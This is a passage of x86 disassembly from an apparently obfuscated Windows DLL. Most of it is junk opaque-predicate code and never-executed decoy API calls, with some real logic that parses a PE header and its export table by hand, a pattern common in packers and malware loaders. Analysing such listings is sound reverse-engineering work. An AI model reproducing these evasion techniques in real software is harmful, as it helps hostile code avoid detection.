imul eax, dword [ebp - 0x57c]
add eax, dword [ebp - 0x140]
cmp dword [ebp - 0x584], eax
jl 0x100343f4
mov dword [ebp - 0x58c], 1
jmp 0x100343fb
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x58c]
mov dword [ebp - 0xa54], eax
jmp 0x1003431b
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x280]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0xa8], 0x8c9a01c7
mov dword [ebp - 0xad8], 0x6082f4e5
mov dword [ebp - 0xad4], 0x6082f4e5
mov dword [ebp - 0xad0], 0x6082f4e5
mov dword [ebp - 0xacc], 0x6082f4e5
mov dword [ebp - 0xa14], 0x52705104
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4c]
jg 0x100346fa
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x5fc], 0xa527
mov dword [ebp - 0x60c], 0x1e183a09
mov dword [ebp - 0xa5c], 0
cmp dword [ebp - 0x34], 0
jne 0x100344b0
cmp dword [ebp - 0x34], 0
jne 0x100344b0
and dword [ebp - 0xa0c], 0
jmp 0x100344ba
mov dword [ebp - 0xa0c], 1
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xc6c], eax
cmp dword [ebp - 0x4c], 0x2c4d
jg 0x100344e1
mov eax, 0x8c84
test eax, eax
jne 0x100344e1
and dword [ebp - 0x594], 0
jmp 0x100344eb
mov dword [ebp - 0x594], 1
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x594]
jle 0x10034502
mov dword [ebp - 0x59c], 1
jmp 0x10034509
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x59c], eax
jle 0x10034520
mov dword [ebp - 0x5a4], 1
jmp 0x10034527
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x5a4], eax
jl 0x1003453e
mov dword [ebp - 0x5ac], 1
jmp 0x10034545
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x5ac]
cmp eax, dword [ebp - 0x34]
je 0x1003455f
mov dword [ebp - 0x5b4], 1
jmp 0x10034566
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x5b4], eax
jg 0x1003457d
mov dword [ebp - 0x5bc], 1
jmp 0x10034584
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x5bc], eax
jge 0x1003459b
mov dword [ebp - 0x5c4], 1
jmp 0x100345a2
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x5c4], eax
jg 0x100345b9
mov dword [ebp - 0x31c], 1
jmp 0x100345c0
and dword [ebp - 0x31c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x31c]
mov dword [ebp + eax - 0xad8], ecx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x31c], eax
jle 0x100345ea
mov dword [ebp - 0x5cc], 1
jmp 0x100345f1
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5fc]
cmp dword [ebp - 0x5cc], eax
jge 0x1003460b
mov dword [ebp - 0x5d4], 1
jmp 0x10034612
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x5d4], eax
jge 0x10034629
mov dword [ebp - 0x5dc], 1
jmp 0x10034630
and dword [ebp - 0x5dc], 0
imul eax, dword [ebp - 0x5dc], 0xffffffff
test eax, eax
je 0x1003464d
cmp dword [ebp - 0x34], 0
je 0x1003464d
mov dword [ebp - 0x5e4], 1
jmp 0x10034654
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x5e4], 7
jl 0x10034669
mov dword [ebp - 0x5ec], 1
jmp 0x10034670
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x5ec], eax
jne 0x10034687
mov dword [ebp - 0x5f4], 1
jmp 0x1003468e
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0x5f4]
cmp eax, dword [ebp - 0x5fc]
jg 0x100346ac
cmp dword [ebp - 0xa8], 0
jne 0x100346bb
cmp dword [ebp - 0x4c], 0
jne 0x100346bb
and dword [ebp - 0x604], 0
jmp 0x100346c5
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x60c], eax
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0xa5c], eax
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x100346f5
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x100348a6
mov dword [ebp - 0x44], 0xd734895c
mov dword [ebp - 0xa8], 5
jmp 0x1003471a
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 5
jge 0x1003477b
cmp dword [ebp - 0x44], 0
je 0x1003472b
jmp 0x1003477b
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x10034779
push 0
push 0x841
push 0x20c0
push 0
push 0x6fb
push 0x67d
push 0x4e1
push 0x2cb
push 0x17a1
push 0xbd2
push 0x1b75
push 0x1889
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x1003470d
mov dword [ebp - 0x4c], 0
jmp 0x1003478b
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jg 0x100348a6
mov dword [ebp - 0xd60], 0xf6ec
mov dword [ebp - 0x44], 0
jmp 0x100347af
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jg 0x10034862
mov dword [ebp - 0x324], 0xf1db06d6
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xad8], 1
xor eax, eax
inc eax
cmp eax, 0x2283
jle 0x100347e7
mov dword [ebp - 0x614], 1
jmp 0x100347ee
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x614], eax
je 0x10034808
mov dword [ebp - 0x61c], 1
jmp 0x1003480f
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x61c], eax
jle 0x10034829
mov dword [ebp - 0x624], 1
jmp 0x10034830
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x624], eax
jle 0x1003484a
mov dword [ebp - 0x62c], 1
jmp 0x10034851
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x324], eax
jmp 0x100347a8
mov dword [ebp - 0x44], 3
jmp 0x10034872
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x100348a1
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x10034890
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0xad8], 0
je 0x1003489f
jmp 0x100348a1
jmp 0x1003486b
jmp 0x10034784
mov dword [ebp - 0xa14], 9
mov eax, dword [ebp - 0x1c0]
cmp dword [eax], 0x4550
jne 0x10036233
mov eax, dword [ebp - 0x1c0]
cmp dword [eax + 0x74], 0
jbe 0x10036233
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
cmp dword [ecx + eax + 0x78], 0
je 0x10036233
mov dword [ebp - 0x14], 0x3efc
mov dword [ebp - 0x3ac], 0xcb8ce3e
mov dword [ebp - 0x3a8], 0xcb8ce3e
mov dword [ebp - 0x3a4], 0xcb8ce3e
mov dword [ebp - 0x3a0], 0xcb8ce3e
mov dword [ebp - 0x63c], 0x457a23
mov dword [ebp - 0x208], 0x6c8c
mov dword [ebp - 0xac], 0xfffffff8
mov dword [ebp - 0x33c], 0x684a08de
mov dword [ebp - 0x170], 0xfffd
mov dword [ebp - 0x32c], 0x21847726
mov dword [ebp - 0x6e4], 0x8543b579
mov dword [ebp - 0x148], 9
mov dword [ebp - 0xbe0], 0xa08677a
mov dword [ebp - 0xbdc], 0xa08677a
mov dword [ebp - 0xbd8], 0xa08677a
mov dword [ebp - 0xbd4], 0xa08677a
mov dword [ebp - 0xc74], 0xffffffff
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3ac], 1
xor eax, eax
inc eax
je 0x10034b41
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3ac], 1
xor eax, eax
inc eax
je 0x100349ce
cmp dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x100349eb
mov dword [ebp - 0x634], 1
jmp 0x100349f2
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
cmp eax, dword [ebp - 0x14]
je 0x10034a15
mov dword [ebp - 0x644], 1
jmp 0x10034a1c
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x644]
cmp eax, dword [ebp - 0x14]
jne 0x10034a36
mov dword [ebp - 0x64c], 1
jmp 0x10034a3d
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x208]
mov eax, 0xfffffe79
sub eax, dword [ebp - 0xac]
cmp eax, 0x62c8
jg 0x10034a61
mov dword [ebp - 0x654], 1
jmp 0x10034a68
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xac]
jg 0x10034a92
mov dword [ebp - 0x65c], 1
jmp 0x10034a99
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x65c], eax
jge 0x10034ab3
mov dword [ebp - 0x664], 1
jmp 0x10034aba
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x664], 0xf9a
jl 0x10034ad2
mov dword [ebp - 0x66c], 1
jmp 0x10034ad9
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x66c], eax
jne 0x10034af9
cmp dword [ebp - 0x170], 0
jne 0x10034af9
and dword [ebp - 0x674], 0
jmp 0x10034b03
mov dword [ebp - 0x674], 1
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x674], eax
jge 0x10034b1d
mov dword [ebp - 0xa64], 1
jmp 0x10034b24
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x170]
jge 0x10034b41
mov dword [ebp - 0xa1c], 1
jmp 0x10034b48
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc7c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ac]
sub eax, 6
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
cmp eax, dword [ebp - 0xac]
jne 0x10034f4f
mov dword [ebp - 0x214], 0x2e9d3b0
mov dword [ebp - 0x20c], 4
mov dword [ebp - 0x920], 0x1f4251d1
mov dword [ebp - 0xd68], 0x93ac
mov dword [ebp - 0xc84], 0xcec93cbc
mov dword [ebp - 0xdb8], 1
push 2
lea ecx, [ebp - 0xd40]
call fcn.1000fa0b
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xc8c], 0x8c533bf9
mov dword [ebp - 0x6fc], 0x2130e9dd
mov dword [ebp - 0x288], 0
jmp 0x10034bf6
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x10034c15
push dword [ebp - 0x288]
lea ecx, [ebp - 0xd40]
call fcn.1000fa89
or dword [eax], 0xffffffff
jmp 0x10034be9
mov dword [ebp - 0x14], 0
jmp 0x10034c25
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10034f3b
push 4
lea ecx, [ebp - 0x8f8]
call fcn.1000fa0b
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x290], 0
jmp 0x10034c59
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 4
jge 0x10034c78
push dword [ebp - 0x290]
lea ecx, [ebp - 0x8f8]
call fcn.1000fa89
and dword [eax], 0
jmp 0x10034c4c
push 0
lea ecx, [ebp - 0x8f8]
call fcn.1000fa89
cmp dword [eax], 0xfffffffd
jg 0x10034c96
mov dword [ebp - 0x684], 1
jmp 0x10034c9d
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x67c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x67c]
mov dword [ebp + eax - 0x3ac], ecx
mov eax, dword [ebp - 0x67c]
cmp eax, dword [ebp - 0x684]
jge 0x10034ce4
cmp dword [ebp - 0x6e4], 0
jne 0x10034ee3
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ac]
mov dword [ebp - 0xd70], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0xc94], eax
imul eax, dword [ebp - 0x32c], 0xfffe
cmp eax, dword [ebp - 0xac]
jne 0x10034d21
mov dword [ebp - 0x68c], 1
jmp 0x10034d28
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x68c], eax
jle 0x10034d42
mov dword [ebp - 0x694], 1
jmp 0x10034d49
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x694], eax
jl 0x10034d63
mov dword [ebp - 0x69c], 1
jmp 0x10034d6a
and dword [ebp - 0x69c], 0
push 0
lea ecx, [ebp - 0x8f8]
call fcn.1000fa89
mov ecx, dword [ebp - 0x69c]
cmp ecx, dword [eax]
jl 0x10034d8d
mov dword [ebp - 0x6a4], 1
jmp 0x10034d94
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x6a4], eax
jg 0x10034dae
mov dword [ebp - 0x6ac], 1
jmp 0x10034db5
and dword [ebp - 0x6ac], 0
cmp dword [ebp - 0x6ac], 0xa246
jge 0x10034dcd
mov dword [ebp - 0x6b4], 1
jmp 0x10034dd4
and dword [ebp - 0x6b4], 0
push 1
lea ecx, [ebp - 0x8f8]
call fcn.1000fa89
mov ecx, dword [ebp - 0x6b4]
cmp ecx, dword [eax]
je 0x10034df7
mov dword [ebp - 0x6bc], 1
jmp 0x10034dfe
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x6bc], eax
jle 0x10034e18
mov dword [ebp - 0x6c4], 1
jmp 0x10034e1f
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x920]
cmp dword [ebp - 0x6c4], eax
jle 0x10034e39
mov dword [ebp - 0x6cc], 1
jmp 0x10034e40
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
add eax, dword [ebp - 0x6cc]
cmp eax, dword [ebp - 0x20c]
je 0x10034e70
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbe0], 0
jne 0x10034e70
and dword [ebp - 0x6d4], 0
jmp 0x10034e7a
mov dword [ebp - 0x6d4], 1
cmp dword [ebp - 0x6d4], 0
jge 0x10034e8f
mov dword [ebp - 0x6dc], 1
jmp 0x10034e96
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x6dc], eax
je 0x10034eb0
mov dword [ebp - 0x334], 1
jmp 0x10034eb7
and dword [ebp - 0x334], 0
push 3
lea ecx, [ebp - 0x8f8]
call fcn.1000fa89
mov ecx, dword [ebp - 0x334]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6e4]
cmp dword [ebp - 0x334], eax
jle 0x10034ee3
and dword [ebp - 0x6ec], 0
jmp 0x10034eed
mov dword [ebp - 0x6ec], 1
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x6ec], eax
jg 0x10034f07
mov dword [ebp - 0x6f4], 1
jmp 0x10034f0e
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x6fc]
dec eax
mov dword [ebp - 0x6fc], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x8f8]
call fcn.1000fa6d
jmp 0x10034c1e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd40]
call fcn.1000fa6d
jmp 0x100350a0
mov dword [ebp - 0x704], 0x7037a9e2
mov dword [ebp - 0x924], 0x88640e9b
mov dword [ebp - 0x14], 0
jmp 0x10034f73
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x1003503c
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
mov dword [ebp - 0xdf4], eax
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0xc9c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
mov dword [ebp - 0xca4], eax
cmp dword [ebp - 0x924], 0
je 0x10034fd7
cmp dword [ebp - 0x704], 0
je 0x10034fd7
mov dword [ebp - 0x70c], 1
jmp 0x10034fde
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x70c]
je 0x10035004
mov dword [ebp - 0x714], 1
jmp 0x1003500b
and dword [ebp - 0x714], 0
cmp dword [ebp - 0x714], 3
jae 0x10035020
mov dword [ebp - 0x71c], 1
jmp 0x10035027
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x71c]
mov dword [ebp + eax*4 - 0x3ac], ecx
jmp 0x10034f6c
mov dword [ebp - 0x148], 3
jmp 0x10035055
mov eax, dword [ebp - 0x148]
dec eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jl 0x100350a0
mov dword [ebp - 0x170], 0
jmp 0x10035077
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jg 0x1003509e
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1003509c
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
jmp 0x1003506a
jmp 0x10035048
mov eax, dword [ebp + 8]
mov dword [ebp - 0x184], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x184]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xc4], edx
mov eax, 0xffff
mov word [ebp - 0x98], ax
mov dword [ebp - 0xdc0], 0xcf5720e
mov dword [ebp - 0xcac], 0
mov dword [ebp - 0xd80], 0
mov dword [ebp - 0xcb4], 0
mov dword [ebp - 0xdec], 0x86e52d8c
mov dword [ebp - 0xcbc], 6
mov dword [ebp - 0xd88], 0xffffffff
mov dword [ebp - 0x724], 0
mov byte [ebp - 0x163], 0
movzx eax, byte [ebp - 0x163]
test eax, eax
je 0x1003514a
push 0
push 0x2041
push 0xadf
push 0x1602
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x724]
dec eax
mov dword [ebp - 0x724], eax
or dword [ebp - 0x17c], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x10035370
mov dword [ebp - 0xb4], 0x5b0e446d
mov dword [ebp - 0x344], 0xffffffff
mov dword [ebp - 0xbc], 0xd1aa12af
mov dword [ebp - 0x21c], 0
jmp 0x1003519f
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 4
jge 0x100351bb
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0xe3c], 0x54d8142
jmp 0x10035192
mov eax, 0x7d8cf4c5
test eax, eax
je 0x10035275
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0xb4]
jle 0x100351e2
mov dword [ebp - 0x72c], 1
jmp 0x100351e9
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
add eax, 0xfffc
cmp eax, dword [ebp - 0xb4]
jle 0x10035208
mov dword [ebp - 0x734], 1
jmp 0x1003520f
and dword [ebp - 0x734], 0
imul eax, dword [ebp - 0x734], 0xd549
test eax, eax
je 0x1003522d
xor eax, eax
je 0x1003522d
mov dword [ebp - 0x73c], 1
jmp 0x10035234
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x73c]
cmp eax, 0x5eaf
je 0x10035254
mov dword [ebp - 0x744], 1
jmp 0x1003525b
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x744], eax
jl 0x10035275
mov dword [ebp - 0x74c], 1
jmp 0x1003527c
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
sub eax, dword [ebp - 0xb4]
cmp eax, 0x5530
jl 0x1003529b
mov dword [ebp - 0x92c], 1
jmp 0x100352a2
and dword [ebp - 0x92c], 0
mov dword [ebp - 0xbc], 0xbf5f40e1
cmp dword [ebp - 0xbc], 0xa9f4
jg 0x100352c4
mov dword [ebp - 0x754], 1
jmp 0x100352cb
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0x754]
jmp 0x100352e5
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x344]
mov eax, dword [ebp - 0x344]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xe3c], eax
mov dword [ebp - 0xbc], 3
jmp 0x1003532a
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x10035352
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0xe3c], 0
je 0x10035345
jmp 0x10035352
cmp dword [ebp - 0xbc], 0
je 0x10035350
jmp 0x1003531d
jmp 0x1003531d
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003536b
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x98], ax
jmp 0x10035a62
mov dword [ebp - 0x224], 0xfffffffc
push 3
lea ecx, [ebp - 0xaf0]
call fcn.1000fa0b
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x3dc], 8
push 2
lea ecx, [ebp - 0xb08]
call fcn.1000fa0b
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x3ec], 0x8298bbeb
mov dword [ebp - 0x93c], 0x13c9534c
mov dword [ebp - 0x1c], 0
jmp 0x100353cd
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100353e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8d0], 0x57bf5cd5
jmp 0x100353c6
mov dword [ebp - 0x1c], 0
jmp 0x100353f3
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1003540c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xaf0]
call fcn.1000fa89
and dword [eax], 0
jmp 0x100353ec
mov dword [ebp - 0x1c], 0
jmp 0x1003541c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10035438
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb08]
call fcn.1000fa89
mov dword [eax], 0x7b187b35
jmp 0x10035415
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8d0]
mov dword [ebp - 0xcc4], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x8d0], 0
jne 0x1003546d
cmp dword [ebp - 0x224], 0
jne 0x1003546d
and dword [ebp - 0x764], 0
jmp 0x10035477
mov dword [ebp - 0x764], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8d0]
imul eax, dword [ebp - 0x764]
cmp eax, 6
jb 0x1003549c
mov dword [ebp - 0x76c], 1
jmp 0x100354a3
and dword [ebp - 0x76c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8d0]
cmp eax, dword [ebp - 0x76c]
jle 0x100354c3
mov dword [ebp - 0x774], 1
jmp 0x100354ca
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 0x37d7c869
jne 0x100354e2
mov dword [ebp - 0x77c], 1
jmp 0x100354e9
and dword [ebp - 0x77c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8d0]
cmp eax, dword [ebp - 0x77c]
jge 0x1003550a
mov dword [ebp - 0x784], 1
jmp 0x10035511
and dword [ebp - 0x784], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x784]
sub ecx, 0xb592
cmp ecx, dword [ebp + eax - 0x8d0]
jle 0x10035538
mov dword [ebp - 0x3c0], 1
jmp 0x1003553f
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 3
je 0x10035554
mov dword [ebp - 0x3c4], 1
jmp 0x1003555b
and dword [ebp - 0x3c4], 0
cmp dword [ebp - 0x3c4], 0xc352
jl 0x10035573
mov dword [ebp - 0x3cc], 1
jmp 0x1003557a
and dword [ebp - 0x3cc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8d0]
cmp dword [ebp - 0x3cc], eax
je 0x1003559a
mov dword [ebp - 0x3d4], 1
jmp 0x100355a1
and dword [ebp - 0x3d4], 0
push 0
lea ecx, [ebp - 0xaf0]
call fcn.1000fa89
mov ecx, dword [ebp - 0x3d4]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x8d0]
push 1
lea ecx, [ebp - 0xaf0]
call fcn.1000fa89
mov eax, dword [eax]
sub eax, esi
mov dword [ebp - 0x3dc], eax
je 0x100355f7
push 1
lea ecx, [ebp - 0xb08]
call fcn.1000fa89
cmp dword [eax], 0
je 0x100355f7
cmp dword [ebp - 0x224], 0
jne 0x1003560e
xor eax, eax
inc eax
jne 0x1003560e
cmp dword [ebp - 0x224], 0
jne 0x1003560e
and dword [ebp - 0x934], 0
jmp 0x10035618
mov dword [ebp - 0x934], 1
push 1
lea ecx, [ebp - 0xb08]
call fcn.1000fa89
cmp dword [eax], 6
jle 0x10035636
mov dword [ebp - 0x3e4], 1
jmp 0x1003563d
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x3ec], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8d0]
cmp eax, dword [ebp - 0x3ec]
jg 0x10035669
mov dword [ebp - 0x3f4], 1
jmp 0x10035670
and dword [ebp - 0x3f4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3f4]
neg ecx
sub ecx, dword [ebp + eax - 0x8d0]
add ecx, dword [ebp - 0x224]
mov dword [ebp - 0x93c], ecx
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x100356ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xb08]
call fcn.1000fa6d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf0]
call fcn.1000fa6d
mov eax, dword [0x1063d55c]
and eax, 1
jne 0x10035701
mov eax, dword [0x1063d55c]
or eax, 1
mov dword [0x1063d55c], eax
mov dword [ebp - 4], 0x21
mov ecx, 0x1063d53c
call fcn.1001f4d3
push 0x10073961
call fcn.10059879
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1063d410]
test eax, eax
je 0x1003576d
mov ecx, 0x1063d53c
call fcn.1003740a
movzx eax, al
test eax, eax
jne 0x1003576d
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x3fc]
push eax
mov ecx, 0x1063d53c
call fcn.1001f598
lea eax, [ebp - 0xdc8]
push eax
mov ecx, 0x1063d53c
call fcn.1001f58a
push eax
lea ecx, [ebp - 0x3fc]
call fcn.1001f5ad
movzx eax, al
test eax, eax
je 0x1003576d
lea ecx, [ebp - 0x3fc]
call fcn.10037413
mov eax, dword [eax + 4]
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x8c], 0
jmp 0x10035786
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100357a2
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x8e0], 0xddc85f70
jmp 0x10035779
mov dword [ebp - 0x8c], 0
jmp 0x100357bb
mov eax, dword [ebp - 0x8c]
inc eax
